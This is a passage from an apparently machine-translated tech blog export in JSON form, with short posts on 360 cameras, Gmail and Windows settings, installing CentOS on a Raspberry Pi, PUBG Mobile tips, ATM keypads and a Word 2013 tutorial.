considering.\n4. GoPro Fusion Reference price: $ 399 (VND 9,280,000).\n  GoPro Fusion is the first 360-degree camera of GoPro company. GoPro is a well-known name in the consumer camera market and Fusion doesn't disappoint users by offering 5,8K video options at 24 frames per second, 5.2K at 30 frames per second and 3K videos. at a speed of 60 frames per second.\nFusion is equipped with a decent lens, which means that the video quality is very good, especially with such a small sensor size. Like GoPro's HERO camera, Fusion uses impressive anti-shake techniques to soothe collisions without the need for a gimbal (the device is able to prevent camera shake when shooting).\nStill image size is quite low, only 18 megapixels, but still on the general market level. GoPro Fusion camera is waterproof, with rubber cover and support for GoPro mounting system. This makes it easier to add Fusion to the setup, if you already own a GoPro camera.\nUnfortunately, the GoPro Fusion desktop application has become a subject of criticism. Users reflect that the application connects and handles scenes very slowly. However, GoPro Fusion is still an attractive option, especially water resistant.\n5. Rylo 360 Reference price: $ 470.35 (VND 10,940,000).\n  The Rylo 360 has impressive resolution and image quality like the GoPro camera. Besides being excellent vibration resistance. These features are ideal, because the Rylo 360 has been designed as an action camera.\nThe bundled app is highly appreciated for its intuitive design and user-friendliness. You can use it to create interesting videos from 360-degree scenes by adjusting scenes, changing playback speed and making color corrections before exporting to the device.\nIt is worth noting that this companion application cannot directly preview what the Rylo 360 is recording. This is not a problem with 360-degree video because you can adjust it in post-production. However, it is worth noting that similar cameras offer live preview, while Rylo 360 does not.\n6. Garmin VIRB 360 Reference price: $ 639.99 (VND 14,885,000).\n  Garmin VIRB 360 is a very solid 360-degree action camera. Garmin VIRB 360 has a waterproof design with a replaceable lens, perfect if you encounter any risks along the way. VIRB 360 records 5.7K video at 30 frames per second, featuring 4K spherical stabilization and 360-degree audio.\nWhat makes VIRB 360 stand out is thanks to a range of sensors, including manometers, accelerometers, gyroscopes and GPS sensors. With additional data recorded, you can put information such as speed or location on the map on your video.\nVIRB 360 is quite expensive compared to some other options and this software has a weakness (according to many reviews). Those issues are not important. Sensors allow you to get more than just video and audio.\nThe 360-degree cameras introduced in the article are very suitable for photographers who want to test new stills and video capture features.\nOnce you've chosen a 360-degree camera that's right for you, you'll want to start creating your own works!\nWish you find the right product!\nncG1vNJzZmismaXArq3KnmWcp51kg26uxKyrZmtmZXqlscarnJ5lk5a6pr7ArGSipl1nfXKF\n","link":"/post/6-best-360-degree-cameras-in-2019/","section":"post","tags":null,"title":"6 best 360 degree cameras in 2019"},{"body":"Previously, the task of clipping in the Gmail for Android application only allows us to customize between the Delete or Archive operations. Now, with the latest update, this task has quite a few options to install.\nThere are 6 options for clawing in updates:\nArchive / Archive - Archive email Delete / Delete - Delete email Move to / Move to - Move the email to another (or card) folder Mark as read / unread / Mark as read / unread - Mark the email as read or unread Snooze / Stealth - Hide emails None / No - Do not take any action Option number 6 - disable the swipe action suitable for users or accidentally delete or store important emails. The email cache option is a relatively new feature for Gmail users. With this feature you can postpone new email notifications and let Gmail know when to report again.\nIf you choose Snooze - Hiding it as one of your swipes, you'll see a pop-up window that lets you know when Gmail sends the message and sends the email to the inbox. (New email notification delay does not work with G Suite accounts. Although this option can be found in the menu, it will not work when you swipe the mail.)\n   How to install custom swipe tasks:\nOpen Settings / Settings \u0026gt; General Settings / General Settings \u0026gt; Swipe actions / Swipe actions . Click the Change button above the option Right Swipe / Swipe to the right and Left Swipe / Swipe left . From the options menu: Archive, Delete, Move to, Mark as / unread, Hide, No. Customizing the swipe in the Gmail application on Android not only makes the application more user-friendly, but it also helps you manage your inbox more easily, quickly, making things neatly organized. neat, right idea.\nSee more:\nInstructions to create Group, Email group in Gmail How to change Gmail wallpaper as you like Instructions for using secret mode when sending email on Gmail ncG1vNJzZmismaXArq3KnmWcp51ksLa%2F06ikorKVYsGpsYysrqKolWLBsHnMmqWan5VitK6tyKVkqKZdlrulvs6im2adkai2pr4%3D\n","link":"/post/customize-the-swipe-to-manage-gmail-on-android-easier/","section":"post","tags":null,"title":"Customize the swipe to manage Gmail on Android easier"},{"body":"Notifications \u0026amp; Actions is one of the best features of Windows 10 compared to previous versions of the operating system. With Notifications \u0026amp; Actions, we can view notifications of applications, quickly turn on and off important features such as network connection, brightness adjustment, bluetooth . In addition, we can customize the function buttons. This according to your preference.\n  To change notification settings in Windows 10, follow these steps:\nStep 1: Click on Notifications \u0026amp; Actions in the bottom right corner and select All Settings .\n  Step 2: Select System .\n  Step 3: Go to Notifications \u0026amp; Actions (1) and edit the function buttons (2) to your liking by holding the left mouse button and moving to the position you want. If you want to add or hide function buttons on Notifications \u0026amp; Actions, then select Add or remove quick actions (3) .\n  You can then turn off the function buttons by flipping them to On .\n  Step 4: Go back to Notifications \u0026amp; Actions and scroll down to the Notification section .\nThere are the following options:\n- Show notifications on the lock screen: Show notifications on the lock screen .\n- Show reminders and incoming VoIP calls on the lock screen: Show reminders and notify incoming calls on the lock screen .\n- Show me the Windows welcome experience after updates and occasionally when I sign in to highlight what's new and suggested: Show Windows experience notifications and suggestions, news highlights after you update Windows via updates.\n- Get tips, tricks, and suggestions as you use Windows: Display tips and suggestions when you use Windows.\n- Get notifications from apps and other senders: Show notifications from software installed on the computer.\nChoose the options that are most useful and can turn off other options so you don't get bothered by other notifications.\n  Step 5: Go back to Notifications \u0026amp; Actions and scroll down. At Get notifications you want to display applications that support notifications on Windows . You choose commonly used applications such as messaging apps, call and turn off notifications of other software to avoid being disturbed by flipping the switch from On to Off .\n  With instructions to change notification settings in Windows 10, hopefully this little tip will help you have a more enjoyable Windows experience. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYynpq2hlp6wosDIqKVmq5Wpwaq6xqxkoqZdrLavsM6wqmZpYA%3D%3D\n","link":"/post/how-to-change-notification-settings-in-windows-10/","section":"post","tags":null,"title":"How to change notification settings in Windows 10"},{"body":"If you're running iOS since iOS 9 on iPhone 6 to the new iPhone 8 Plus, you can change the camera resolution after recording the video.Lower quality settings can be a way for you to save storage space.\nAlso, if you want to maximize the video, the only way to shoot 4K video is to change it in the settings menu, not the camera app.You can do this for both slo-mo and standard video.The implementation is very fast and easy.\nPocket some quality video recording tips on iPhone On iOS 11, go to Settings\u0026gt; Camera , click Record Video or Record Slow-moand choose your preferred resolution from the options listed.\nOn iOS 10.3 and lower versions, select Settings\u0026gt; Photos \u0026amp; Camera\u0026gt; Record Video or Record Slow-mo and choose the resolution you want.\n  Note that the higher the resolution and frame rate, the more storage capacity on the iPhone. For example:\nStandard video recording\n720p HD at 30fps: 40MB / minute 1080p HD at 30fps (default resolution): 60MB / minute 1080p HD at 60fps (smoother video): 90MB / minute 4K at 24fps: 135MB / minute 4K at 30fps: 170MB / minute 4K at 60fps: 400MB / minute Shoot Slo-mo video\n1080p HD at 120fps: 170MB / minute 1080p HD at 240fps (default frame rate): 480MB / minute I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyvoJ2dn2K%2Fpr%2FOpaytoZ%2BjerSx062gp5%2BjYryvecipn6imlQ%3D%3D\n","link":"/post/how-to-change-video-resolution-settings-on-iphone/","section":"post","tags":null,"title":"How to change video resolution settings on iPhone"},{"body":"The video card is an indispensable component for your computer to put images from the computer system on the screen and is responsible for handling graphics-related tasks such as images, videos, and games. For some reason your computer does not recognize the video card and you are \"headache\" about that problem? Let's take a look at some causes and how to fix the computer does not recognize the video card in this article!\n  1. Check the connection of the discrete video card   On the video card models, there are always ports such as connecting to the mainboard (PCI Express), connecting to the monitor (HDMI, VGA, DisplayPort .) and connecting to the auxiliary power (6 pin or 8 pin ). You need to review the connection port has fit the coupling or not? Has the auxiliary power cord on the VGA cable snugly, and have enough auxiliary power ports on the card? HDMI, VGA cable . from the video card to the screen fits snugly and ensure the cable is not faulty or not?\n  One thing that we often forget is that we do not fit the screws between the video card and case, which can cause your graphics card to deviate from the PCIe port when it is hit and you try. Use the screws that come with the card to attach it securely to the case to ensure the durability and stability of the video card.\n  Next, make sure the power supply for your video card is running smoothly. With some high-capacity video cards will require you to plug in 8 pins to provide additional power to the card and also depending on the card capacity, you should buy a compatible power adapter to keep the video card running smoothly and No black screen error due to low power. After that, make sure that the power cable is last plugged in and the \"tick\" sound is heard when the connectors on the cable and on the power cord match.\n  And finally, you should check that the monitor cable connection between the computer and the monitor is installed correctly and is the connecting cable problem? If in doubt, plug it back in or use a different cable to check.\n2. Check the driver in the device Step 1: You open the dialog box Run with the key combination Windows + R . Next, enter the command devmgmt.msc and OK .\n  Step 2: You go to the menu View (1) =\u0026gt; Show hidden devices (2) to the driver hiding.\n  Step 3: Click Display adapters (1) =\u0026gt; right-click on hidden driver (2) =\u0026gt; Scan for hardware changes (3) .\n  3. Uninstall the video card driver and download the update automatically with Driver Easy Sometimes the error of not receiving the video card may be due to the old version of the video card driver on your computer and causing a system conflict. At this point, you need to uninstall all the drivers of the video card and use driver update software like Driver Easy or Driver Booster.\nStep 1: Download the Display Driver tool at the link https://www.guru3d.com/files-details/display-driver-uninstaller-download.html\nAfter installing and opening the software, click on Clean and restart .\n  Step 2: After successfully uninstalling the video card and restarting the computer, download the Driver Easy tool to the computer and perform the scan process, install a new driver. Download software link at https://www.drivereasy.com/\nNext, click Scan now to scan for drivers in the computer and follow the instructions to update the latest video card driver for the computer.\n  With the sharing in the article, hopefully readers will fix the computer error does not recognize the video card most effectively. If the results still do not work, we can try to upgrade the computer's BIOS, but you should be careful and learn carefully on how to upgrade or bring it to workman to avoid damage to the mainboard. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqku8yprK2domKys77Oq2Sdp5Woeq%2B702apnpufnLuqxsRmq6GdXau2pbHOZpqaqpQ%3D\n","link":"/post/how-to-fix-computer-error-does-not-recognize-the-video-card/","section":"post","tags":null,"title":"How to fix computer error does not recognize the video card"},{"body":"As one of the most popular single-board computers on the market, the Raspberry Pi is the primary device in the home of most Linux users. Whether it's a home server app, a children's calculator, learning Linux or some other skill, you can definitely find a way to use a Pi.\n1. Download the CentOS image Specific Raspberry Pi images from the CentOS project are slightly hidden in the Downloads page . For the best experience, we recommend using CentOS 7. From the CentOS home page here, click on 'CentOS Linux'.\n  Click '7 (2003)' . Such version numbers may change over time.\nYou will see a list of options. There are a few important things for this project: 4 options at the time of writing have 'RaspberryPi' in the name.\nFor this case, the example will choose the one that says 'RaspberryPi-Minimal-4' because it is installing CentOS on the Raspberry Pi 4b. Make sure to choose the one that best suits your particular use case.\n  2. Flash the SD card For most users, the Balena Etcher is probably the best option for flashing a Raspberry Pi SD card. One of the key points is that it will flash directly from the xzip archive you download for most Raspberry Pi images.\nThe flashing process is very easy. Launch the app, select the source file (in this case the CentOS archive file), the SD card port, and click Start Flashing.\n  Balena Etcher is probably the best option for flashing a Raspberry Pi SD card\nThere will only be a bit more time before everything is done and you can boot from the SD card on your Pi.\n3. Boot CentOS on Raspberry Pi With these images, everything will simply turn on the device and wait until you reach the Command Prompt. If you can install the KDE or GNOME version, you will be taken straight to the login screen.\nThe default login information is:\nUsername: root Password: centos One important note:\nChange the root password and create your own non-root user right away. If you don't do this, chances are someone (or a hacker) will know this and break into your system with root access. That is not good at all. The commands to create a new user are as follows:\nChange the root password: passwd Create a new user: useradd USERNAME -G wheel -p PASSWORD Replace your preferred username and password. That command will create a user in the sudo or wheel group, allowing you to switch users completely and avoid logging in with root privileges. When you do that, make sure to use the su command to switch the user to the newly created user like so:\nsu USERNAME Replace with the username of the user you just created. From there, make sure that the packages are updated with the command:\nsudo yum update -y 4. Install a graphical desktop environment This is one of the easiest parts. You can view the available software groups with the following command:\nyum grouplist Select the one you want to install. The example will install GNOME, but KDE Plasma is also available.\nsudo yum groupinstall \"GNOME Desktop\" This seems to depend on the Raspberry Pi you are using. On Pi 4b, I don't have the systemd to switch to the GUI. But this could change in your case.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmp6mpKTAbrvNZphmqpGovaOx0auwZqiZ\n","link":"/post/how-to-install-centos-on-a-raspberry-pi/","section":"post","tags":null,"title":"How to install CentOS on a Raspberry Pi"},{"body":"In this case, you can choose to hide your online status. The implementation is nothing complicated.\nHow to set offline status on PS5 To change your online status on PS5, first go to the main screen and press the \" Up Arrow \" key on the controller's D-Pad. Next, press the ' Right Arrow ' button on the D-Pad until you reach the 'Profile Icon' section next to the Settings gear.\n  Now press ' X ' on the handle to open the drop-down menu and select ' Online Status ' which appears below your name and profile picture.\n  In the drop-down menu, select ' Appear Offline ' to hide your online status. However, it should be noted that even if you enable this option, some older games may 'overwrite' and still show your online status. But this situation is quite rare.\n  Set offline status on PS5 app The PlayStation app also allows you to change your online status.\nFirst, open the PlayStation app on your Android or iPhone and sign in to your account. Next, navigate to the ' Play ' tab located in the bottom left corner of the screen (and with the controller icon).\n  In this ' Play ' tab , you tap the gear icon in the top right corner to open the Settings menu.\n  Scroll down to the ' Console Management ' section in the Settings menu and click on the ' Online Status ' item .\n  You can now choose ' Appear Offline ' to hide your online status from your friends on the PlayStation Network.\n  That's all, good luck!\nset offline status on PS5 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqwssWloKedXajBosDUrGSopl2lwHY%3D\n","link":"/post/how-to-set-offline-status-on-ps5/","section":"post","tags":null,"title":"How to set offline status on PS5"},{"body":"New computers have power saving mode. The following installation steps are quite simple, which will enable you to enable optimal performance of your PC. Leaving the screen in brighter mode than necessary makes the system consume more power, so adjust the brightness to suit the intended use. If you own a traditional CRT monitor, you should consider planning to upgrade to the LCD. This screen saves 1/3 of the capacity and helps your eyes get tired. Avoid using screensavers that have too many vivid images. In fact, the screen shows how brilliant the image is, the more power it consumes. Turn off the entire machine when the job is finished instead of putting the system in stand by mode. If you travel far away or take long-term leave, you should disconnect the computer plug from the power outlet, helping the system avoid electric immersion and reduce power consumption. Please note the Energy Star certification mark on devices when choosing to purchase computers or electronic products. If this symbol is missing, it means the device is not up to the standard of economical operation. Turn on all power saving functions of the monitor, computer system and peripheral devices such as printers if all support this mode.\n  Utility that adjusts Vista's power consumption\nFor Vista, go to Control Panel / System and Maintenance / Power Options to select Power Saver mode and Change Plan Settings . Next, click on Change of advanced settings to select the time for hard drive Hard disk / Turn off . At the end, select OK then select Save Changes to complete the process. In Windows XP you can also apply the same adjustment steps to the Control Panel / Power Options section . These settings help the computer minimize the power consumption of each part of the system, but does not create any inconvenience during the use of each function. So you can rest assured to do so, reducing power consumption also helps you to save small amounts of money every month, relieve the burden of spending.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqxu9aeqayZpp67qHnCqKSpraSav7Q%3D\n","link":"/post/how-to-use-power-saving-computers/","section":"post","tags":null,"title":"How to use power-saving computers"},{"body":"   Intel has just confirmed the development of the third generation of Classmate PC mini laptops with a more user-friendly interface. Intel declined to provide details about upgraded hardware and software features in the 3rd-generation Classmate PC, but said the new laptop version would be released within a month or more. The company also refused to disclose the delivery date and product prices. According to Intel spokesman, Agnes Kwan, the new version of Classmate PC has a different and more convenient design. These changes are based on feedback from customers (teachers and students) that Intel has received over time. It is known that the Classmate PC's original design purpose is for elementary school children in developing countries. But then the second version - Classmate 2 (announced earlier this year) has expanded its audience, not confined to primary education. For Classmate PCs for learning purposes, it only has basic applications such as surfing the Web and checking e-mail. Today, the Classmate PC is available in 35 countries and distributed through 30 PC manufacturers. In the UK, Actronix launched the JumPC computer (based on the Classmate PC design) for £ 239. The user interface of the new Classmate PC may be the Sugar version, which was developed for the OLPC project's XO laptop. Intel is currently accelerating the development of Sugar for Classmate PC through Sugar Labs Foundation. And although not officially announced, the Sugar interface has been shown on several websites about OLPC. Intel said it will upgrade the current Classmate 2 with more powerful hardware, higher capacity and memory speed. Classmate 2 has a 1.6GHz Atom chip, 1GB RAM support, 8.9-inch hi-screen, 30GB hard drive. Previous Classmate version integrated 900MHz Intel Celeron chip, support 256MB RAM. Intel is currently cooperating with the Portuguese government to transfer about 500,000 new Classmate 2s to the country's primary students\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVknZ2mmrmwvMSdZK2glWKAs7CMoJynnaKWwaq7zWaapZmjqLqiwMRmp5xlnJa9tbvP\n","link":"/post/intel-developed-the-3rd-generation-classmate-pc-laptop/","section":"post","tags":null,"title":"Intel developed the 3rd generation Classmate PC laptop"},{"body":" Free software Version: 10.1.1.37576 Update date: 12/30/2020 Platforms: Windows, Mac Download Foxit Reader\u0026nbsp;10.1.1.37576 here\nFoxit Reader is primarily a PDF reader, while also allowing you to create PDFs, sign them, edit them and add annotations. It works on all operating systems, there are plugins for different programs from the Microsoft Office package, which makes it extremely versatile and useful for anyone handling this file format regularly.\n  Foxit Reader features A versatile free tool Foxit Reader, developed by California-based software company Foxit, has consistently evolved over early versions, which has stood out for its strong performance and compact files.\nThe program is a multi-language tool package that allows users to create, view, sign, edit and print PDF files. It's free, which means you can use it without paying a penny, but the premium version gives you some additional perks. Please note that free Foxit Reader has the basics, unless you require special features.\nAnother easily distinguishable feature of this program is its security. It comes with a handy safety option powered by JavaScript to protect you from unauthorized data transmission scripts, if you are using PDF on the Internet.\nFoxit Reader also comes with a useful feature of being able to create PDFs from scanned documents. There are also browser-style plugins, which are great for extending Reader's capabilities even further.\nOverall, this program is one of the best free PDF readers out there, very powerful, fast, and packed with features.\nConfusing user interface For those who aren't proficient in PDF creation, Foxit Reader's interface can be a bit overwhelming. On one hand, it looks a bit like Microsoft Office, with the ribbon toolbar, but on the other hand, these tools are laid out in a way that looks complicated and confusing.\nThankfully, it's relatively easy to understand with loads of tools in front of you. You can minimize the ribbon, which helps you reduce screen clutter and free up space for the PDF file you are viewing. There's also a full screen mode to keep you from distracted, and that makes it even simpler.\nWhat's more, you can minimize the program's entire window to its system tray icon, taking up less than one line of space on the Windows taskbar.\nThere's also a security toolbox to help you deal with security issues for yourself and your PC, especially when working with unreliable documents.\nIf you plan to use Foxit Reader to view PDF files, learning the different functions isn't too complicated. There's a row of tabs that let you work with multiple files at once, as well as a toolbar for navigating your bookmarks and table of contents.\nAnother option includes creating PDFs, you'll need to spend some time and learn, but once done, you'll be able to create fully functional PDFs with built-in Microsoft Office options for any function. functions you may need.\nLightweight and packed with tools Foxit Reader program is small. Installation file is only 12MB, making installation and document opening fast. The design also reflects this lightness, as it doesn't come with endless splash screens or plugins.\nInstead, all internal toolbars and toolbars serve a definite purpose. In these bars you will find widgets to zoom in, take a snapshot, search, view a document in full screen mode, select a piece of text, and more.\nThis reader also allows you to annotate your PDF files with options of highlight, bullet, underline and add comments.\nOccasionally, you will want to reuse your PDF files in other applications. With this program, you can convert your PDF files into various file formats, such as text files or image files, Microsoft Word and Microsoft Excel, HTML, etc.\nFurthermore, you can use the form to collect data through check boxes or text fields. The information you collect can be easily shared via email, on the web, or online for anyone who wants to fill in with a PDF editor. Then, export the data to a format that you can use with other applications.\nFlexible use This program runs on Windows and Mac computers. Foxit Reader for Windows requires Windows 7 through Windows 10, while Foxit Reader for Mac requires Mac OS X or later.\nFoxit Reader is also very flexible. You can run it from a local folder, in the cloud or an external drive, which means you don't even have to install it to your computer but instead put it on a flash drive - this lightweight feature comes in handy. here.\nError and alternatives Foxit Reader main limitation is that you cannot use it to view flash effects and 3D drawings in your PDF files. Furthermore, it lacks OCR (optical channel recognition) capabilities, which means the inability to recognize text on images.\nAlso, while you are installing software or any updates, please read the fine print section carefully. If not, the program may end up installing unwanted freeware on your PC or change some essential computer and browser functions.\nPerhaps the most prominent alternative to this program is Adobe Reader DC. Its design is intended for viewing, editing and managing in other ways, as well as PDF files, and it works on all operating systems.\nOther options include Sumatra PDF, a small, portable, powerful PDF reader and PDF-XChange Viewer, which is quite a lot of features and completely free.\nYou can also view Nitro PDF Reader, which allows collaboration on projects, etc., or STDU Viewer, which is designed to let you view documents of different formats through a single file manager. Best.\nMakes working with PDF files much easier In general, Foxit Reader is not just a simple replacement for Microsoft's Reader app. It packs quite a few tools and features, ideal for creating PDFs and working with them. It's not the only tool of its kind, but it's great and is a recommended option.\nAdvantages\nEasy PDF creation and editing features Integrated tools for security Comes with Microsoft Office plugins Compact and fast Annotation tools are available Defect\nThere is no optical character recognition in the free version Online manual only Foxit Reader ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymabqK%2BeobyisIyfprGhpGK%2Fpq3DnqlmaWBmfnSDlHBt\n","link":"/post/link-download-foxit-reader-10-1-1-37576/","section":"post","tags":null,"title":"Link download Foxit Reader 10.1.1.37576"},{"body":"Samsung's top devices like Galaxy Note 3, Galaxy S4 and Galaxy Note 10.1 (2014 version) will all be updated to Android 4.4.\nSamsung's team in the US has just announced a list of devices that will receive Android 4.4 KitKat updates in the near future. Unfortunately, those names don't have Galaxy S3, although the phablet released in the same year as the Note 2 is still on the list. The reason given is because S3 only has 1GB of RAM.\n  Millions of Galaxy S3 users will be disappointed with this.\nHowever, that is not the main reason. Among the updated devices, the Galaxy Grand only has 1GB of RAM but is still supported. In addition, KitKat is optimized by Google to be able to run well on devices with RAM of 512MB or more.\nOther information said, US market Galaxy S3 with RAM of up to 2GB will receive KitKat update 4.4.\nBelow is a full list of supported devices to update to Android 4.4 KitKat:\nSamsung Galaxy Note 3 Samsung Galaxy S4 Samsung Galaxy S4 Active Samsung Galaxy S4 Mini Samsung Galaxy S4 Zoom Samsung Galaxy Note II Samsung Galaxy Note 10.1 (2014 version) Samsung Galaxy Note 10.1 Samsung Galaxy Note 8.0 Samsung Galaxy Tab 3 8.0 Samsung Galaxy Tab 3 7.0 Samsung Galaxy Tab 3 10.1 Samsung Galaxy Mega 6.3 Samsung Galaxy Mega 5.8 Samsung Galaxy Grand Samsung Galaxy Express 2 ncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWimrmmrdKem2aZnpm%2FsLXDZmttZaWlsaLAxGabqJ2jYruwwIysrKmon6fBbrPApZixsV2ogA%3D%3D\n","link":"/post/samsung-released-android-4-4-update-does-not-support-galaxy-s3/","section":"post","tags":null,"title":"Samsung released Android 4.4 update, does not support Galaxy S3"},{"body":"Map Vikendi has been officially updated Beta for PUBG Mobile VNG gamer, the area of ​​this map is between Erangel and Sanhok. And Vikendi has a typical winter color that gamers can take advantage of to use some effective tactics in the game.\nBased on Vikendi's topography and weather conditions in PUBG Mobile VNG, the number of map loot locations is great. So the level of fighting will certainly be very fierce as Sanhok is only slightly larger. You can refer to some tips below this article of Quantcast to use on Vikendi.\nHow to download and install PUBG Mobile VNG on Tencent Gaming Buddy How to fix mouse rotation error on PUBG Mobile VNG PUBG Mobile VNG: Tips for using transport vehicles for each map PUBG Mobile VNG: A few useful tips on Vikendi Download PUBG Mobile for PC Download PUBG Mobile for iOS Download PUBG Mobile for Android 1. Loot each small block   One thing that all gamers see at Vikendi when they first enter this winter map is that there are a lot of small buildings lying close together all over Vikendi's map. The number of such buildings is so many that if you run a short distance you will find it on the side of the road or scattered on the hillsides or on the hill.\nExcluding areas with official names, the number of items in these houses is not as high as in the predetermined locations, but it is enough for gamers to fight back and survive fighting. That's why the number of items is decomposed into each individual block to create a balance for slow players who cannot reach hot spots in Vikendi.\nSo if you can't jump into any location in the winter map, don't worry, just find a building like the one above to loot and stay.\n2. Dominate the high points   Vikendi's topography is quite mountainous and hilly, that's where you can \"camp\" and follow the map to see if there are any gunshots around. Remember, to equip an X6 or X8, this strategy will be effective. Moreover, Cement Factory area is also a place with quite a lot of high points, but if being countered, the withdrawal in this area is quite hard.\nSo it is best to capture the high points in the hills, if it is best to enter a small building. The Vikendi terrain has a lot of high-altitude areas, but is empty, suitable for \"network loot\" such as Castle, Podvosto, Coal Mine, Mount Kreznic . Use your parachute skills to occupy space. In places with this advantage.\n3. Dress in white   Although the character's movement in the game still makes the surrounding enemies pay attention and the worn items will expose the character, but if you wear white, you still have the advantage of stopping movement and camouflage at a certain position in Vikendi.\nBecause Vikendi's weather is winter and most places of the map have white snow, like Miramar and Sanhok, Miramar is desert so yellow and brown colors will take priority. And Sanhok has a distinctive green color so the green skins will be chosen by gamers. So here Vikendi too, if you wear white and do not move, the enemy does not notice it will not see you. If luck loot Ghillie Suit white suit, then the table is not.\n4. Be careful when walking across the river   In some locations on Vikendi, you can walk across the river because they have been frozen. For example, in Podvosto or Goroka, in these two places the number of players jumps down quite a lot and the number of items is also quite large. The freezing river area of ​​these two locations is very empty.\nIf you encounter an enemy that possesses a Sniper that has Scope then you will be \"asked for less\" or worse, a wooden box. So even though this is an interesting experience, it's quite dangerous at Vikendi that you should consider.\n5. Where to land is safe .  As with any PUBG Mobile map, everyone has their own hobby of landing. If you've followed the team, it's best when playing Squad or Duo, Vikendi is not much different from other PUBG Mobile maps.\nThere are plenty of large quiet areas and plenty of things to relax, but of course they will be far from the center, because if you do not accidentally go into the area you will jump down if you drop. And more than you run bo in the area in the middle of the map. You can check out the most intense fighting areas in PUBG Mobile VNG in the article PUBG Mobile VNG: The most fierce fighting areas at Vikendi. to stay away if you don't want to \"fight\" at first.\n6. Means   The specialized vehicle for Vikendi's terrain is a sleigh, with this car you can move in the fastest and most convenient way in Vikendi. In addition, you also have Dacia and UAZ, and if you travel by means other than sleighs, you should use the main road to move. If climbing a mountain or crossing a glacier, it will be very slippery and will not keep up if the enemy sees you at that time.\nThere are a few first tips when participating in the Vikendi map in PUBG Mobile VNG, with such weather and terrain features, gamers will also have advantages and disadvantages when participating in this winter map.\nSee more:\nHow to run, Raspberry Pi emulator on computer? Top best iOS emulators help run applications on Windows 10 best Android emulator software for Windows ncG1vNJzZmismaXArq3KnmWcp51kvbauxmakqJqZobJuws2gZK2hoKh6tbuMppitm5hiwamxjK%2BgpJ2embZuwMSrqZqhng%3D%3D\n","link":"/post/tips-to-match-the-vikendi-terrain/","section":"post","tags":null,"title":"Tips to match the Vikendi terrain"},{"body":"There is a revolution in the field of manufacturing robots with comprehensive changes in materials. Many modern robot models today are designed and built using safe, soft materials, making it easy to perform jobs that require a high degree of lightness and dexterity.\nBut how is soft enough? According to a new experiment conducted by scientists at the American Museum of Natural History, New York University and Harvard University, a cleverly manipulated robot made of soft enough material will be able to hold tightly. a jellyfish without causing any harm to it.\nWhy jellyfish, not any other animal? Jellyfish have always been an excellent test target because they've been so fragile and vulnerable to even small external forces. In the latest experiment, the researchers used a soft robotic arm with gentle fingers, which looked like 'noodles' to capture this slippery and delicate marine creature. As a result, the jellyfish was easily 'grabbed' without any physical damage.\n'This success opens up a huge potential in the application of sophisticated robotic arms and hands from soft materials in high-skilled jobs such as surgical assistance and easy-to-research subjects. physical damage, 'said Dr. Michael Tessler, a graduate student at the American Museum of Natural History.\nWhile not causing bodily harm, this is not yet to be concluded whether the object feels uncomfortable or not. Jellyfish don't have pain receptors or central nervous system, which means they won't be able to feel anything, but for most other species. The researchers analyzed the genome to see how there were changes in the animal's body when it was captured by the robot's hand. The analysis process shows that the animal feels less stressed than when caught by hard objects.\n  At the next stage, the team plans to integrate ultra-light robotic fingers with many other advanced technologies, such as DNA scans, to perform more complex tasks, such as 'medical checks'. 'for marine life right under the water without hurting them.\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkraCVYravs8SnoKito2K%2FsK7OrWShmZ6ZeqSt05yfZpldn7KtuNifoKygXay2tbTOrqtmoZ6fwrO1zaBkoqw%3D\n","link":"/post/watch-the-ingenious-robot-hand-catch-a-jellyfish-without-injuring-it/","section":"post","tags":null,"title":"Watch the ingenious robot hand catch a jellyfish without injuring it"},{"body":"Making transactions at the ATM is quite familiar to many people but there is certainly an interesting detail that most people don't pay attention to. It is the ATMs of most banks that use metal numeric keypad rather than other keyboard types.\nHow to prevent it from being stolen from your bank card When we have an electric gun, we often faint, why? Why do people often choose white to paint airplanes rather than other colors?   The cause of using metal numeric keypads is to prevent code leaks. Because if you use other keyboards, after you press your password, the temperature of the keyboard will be changed. If immediately after the transaction was successful, someone used a heat-sensing camera to capture the keyboard, you might lose your password.\nLooking at the picture below you will see it clearly.\n  In the picture, the number 5 with the most red color indicates that it is the last character pressed. Through observing the depth of color, you can easily guess the order of the password string is 12345.\nBut with the metal keyboard, it is highly conductive, the temperature changes are relatively fast, so if someone uses a thermal sensor camera to capture immediately after you have successfully traded, it is difficult to observe. color to guess your password.\n  ncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnmWRqbq0edSsoKefXaKyta3LZqWupZWntqR5yp6wqZmUqA%3D%3D\n","link":"/post/why-are-atms-using-metal-numeric-keypads/","section":"post","tags":null,"title":"Why are ATMs using metal numeric keypads?"},{"body":" Word 2013 full-text tutorial (Part 12): How to break pages, paragraph breaks Word 2013 Complete Guide (Part 13): Divide the text column Word 2013 Complete Guide (Part 14): Page title, footer and page numbering In the previous section we talked about how to insert the Text Wrapping image and function into Word 2013 , as well as how to customize the position of the image so that it appears where you want it in your document. In this section, we will continue to learn about image formats in Word 2013 .\nThere are many ways to format, edit photos in Word document documents. You can change the size or shape of the image to better fit the document you are working on. Or it can make images look better thanks to the image enhancement tools that Microsoft has equipped for Word 2013. Follow our Word 2013 category to constantly update your best Word tips. Please!\nInvite you to take a look at the video Format in Word 2013 :\nHow to crop photos in Word 2013 When you crop an image, part of the image will be removed. Cutting photos is useful when you have to handle an image that is too big or contains lots of content but you just want to focus on one part of it.\n1. Select the image you want to cut. The Format tab will appear.\n2. On the Format tab, click the Crop command.\n  3. The cropping frame appears, click on the black button on the edge and drag to the desired position to crop the image. Because the image button positions are very close to the image resizing button, you must be careful not to press the wrong button.\n  4. Click the Crop command. The image will be cut.\n  Black buttons at the corner will be handy when you need to crop the image horizontally or vertically. Cut pictures in Word 2013 into other shapes 1. Select the image you want to cut, then click the Format tab.\n2. Click the drop-down arrow at Crop . Hover over Crop to Shape , then select the desired shape from the drop-down menu.\n  3. The image will appear in the format you selected.\n  Add borders for inserted images in Word 2013 1. Select the image you want to add the border to, then click the Format tab.\n2. Click the Picture Border 